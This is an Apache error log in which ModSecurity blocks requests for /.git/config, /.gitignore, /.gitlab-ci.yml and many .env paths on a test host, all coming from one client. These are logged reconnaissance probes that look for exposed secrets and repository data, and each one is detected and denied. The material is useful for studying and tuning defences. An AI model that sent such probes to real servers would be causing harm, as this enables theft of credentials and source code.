[Wed Feb 25 06:04:44.833391 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRianwAAAAA&quot;]
[Wed Feb 25 06:04:44.833688 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRianwAAAAA&quot;]
[Wed Feb 25 06:04:44.833894 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRianwAAAAA&quot;]
[Wed Feb 25 06:04:44.846367 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /acme-challenge/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme-challenge/.env&quot;] [unique_id &quot;aZ6C7Iv6AM5Bs3q_JQDYLQAAAAc&quot;]
[Wed Feb 25 06:04:44.846647 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme-challenge/.env&quot;] [unique_id &quot;aZ6C7Iv6AM5Bs3q_JQDYLQAAAAc&quot;]
[Wed Feb 25 06:04:44.846833 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme-challenge/.env&quot;] [unique_id &quot;aZ6C7Iv6AM5Bs3q_JQDYLQAAAAc&quot;]
[Wed Feb 25 06:04:44.877940 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRiaoAAAAAA&quot;]
[Wed Feb 25 06:04:44.878225 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRiaoAAAAAA&quot;]
[Wed Feb 25 06:04:44.878435 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRiaoAAAAAA&quot;]
[Wed Feb 25 06:04:44.911825 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.github/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.github/.env&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRiaoQAAAAA&quot;]
[Wed Feb 25 06:04:44.912109 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.github/.env&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRiaoQAAAAA&quot;]
[Wed Feb 25 06:04:44.912301 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.github/.env&quot;] [unique_id &quot;aZ6C7GXxsr5IXP-ltRiaoQAAAAA&quot;]
[Wed Feb 25 06:04:45.041003 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /acme/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme/.env&quot;] [unique_id &quot;aZ6C7Yv6AM5Bs3q_JQDYLgAAAAc&quot;]
[Wed Feb 25 06:04:45.041313 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme/.env&quot;] [unique_id &quot;aZ6C7Yv6AM5Bs3q_JQDYLgAAAAc&quot;]
[Wed Feb 25 06:04:45.041517 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme/.env&quot;] [unique_id &quot;aZ6C7Yv6AM5Bs3q_JQDYLgAAAAc&quot;]
[Wed Feb 25 06:04:45.118757 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /acme_challenges/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme_challenges/.env&quot;] [unique_id &quot;aZ6C7Yv6AM5Bs3q_JQDYLwAAAAc&quot;]
[Wed Feb 25 06:04:45.119703 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme_challenges/.env&quot;] [unique_id &quot;aZ6C7Yv6AM5Bs3q_JQDYLwAAAAc&quot;]
[Wed Feb 25 06:04:45.119959 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/acme_challenges/.env&quot;] [unique_id &quot;aZ6C7Yv6AM5Bs3q_JQDYLwAAAAc&quot;]
[Wed Feb 25 06:04:45.149128 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /actions-server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/actions-server/.env&quot;] [unique_id &quot;aZ6C7Yv6AM5Bs3q_JQDYMAAAAAc&quot;]
[Wed Feb 25 06:04:45.149417 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/actions-server/.env&quot;] [unique_id &quot;aZ6C7Yv6AM5Bs3q_JQDYMAAAAAc&quot;]
[Wed Feb 25 06:04:45.149611 2026] [:error] [pid 2312957] [client 185.177.72.13:2068] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/actions-server/.env&quot;] [unique_id &quot;aZ6C7Yv6AM5Bs3q_JQDYMAAAAAc&quot;]
[Wed Feb 25 06:04:45.149848 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.gitignore&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.gitignore found within REQUEST_FILENAME: /.gitignore&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aZ6C7WXxsr5IXP-ltRiaowAAAAA&quot;]
[Wed Feb 25 06:04:45.150184 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aZ6C7WXxsr5IXP-ltRiaowAAAAA&quot;]
[Wed Feb 25 06:04:45.150366 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aZ6C7WXxsr5IXP-ltRiaowAAAAA&quot;]
[Wed Feb 25 06:04:45.173834 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;.gitlab-ci.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .gitlab-ci.yml found within REQUEST_FILENAME: /.gitlab-ci.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;aZ6C7WXxsr5IXP-ltRiapAAAAAA&quot;]
[Wed Feb 25 06:04:45.174095 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;aZ6C7WXxsr5IXP-ltRiapAAAAAA&quot;]
[Wed Feb 25 06:04:45.174260 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;aZ6C7WXxsr5IXP-ltRiapAAAAAA&quot;]
[Wed Feb 25 06:04:45.263824 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.gitlab-ci/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci/.env&quot;] [unique_id &quot;aZ6C7WXxsr5IXP-ltRiapQAAAAA&quot;]
[Wed Feb 25 06:04:45.264207 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci/.env&quot;] [unique_id &quot;aZ6C7WXxsr5IXP-ltRiapQAAAAA&quot;]
[Wed Feb 25 06:04:45.264399 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci/.env&quot;] [unique_id &quot;aZ6C7WXxsr5IXP-ltRiapQAAAAA&quot;]
[Wed Feb 25 06:04:45.289208 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.gitlab/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab/.env&quot;] [unique_id &quot;aZ6C7WXxsr5IXP-ltRiapgAAAAA&quot;]
[Wed Feb 25 06:04:45.289490 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab/.env&quot;] [unique_id &quot;aZ6C7WXxsr5IXP-ltRiapgAAAAA&quot;]
[Wed Feb 25 06:04:45.289669 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab/.env&quot;] [unique_id &quot;aZ6C7WXxsr5IXP-ltRiapgAAAAA&quot;]
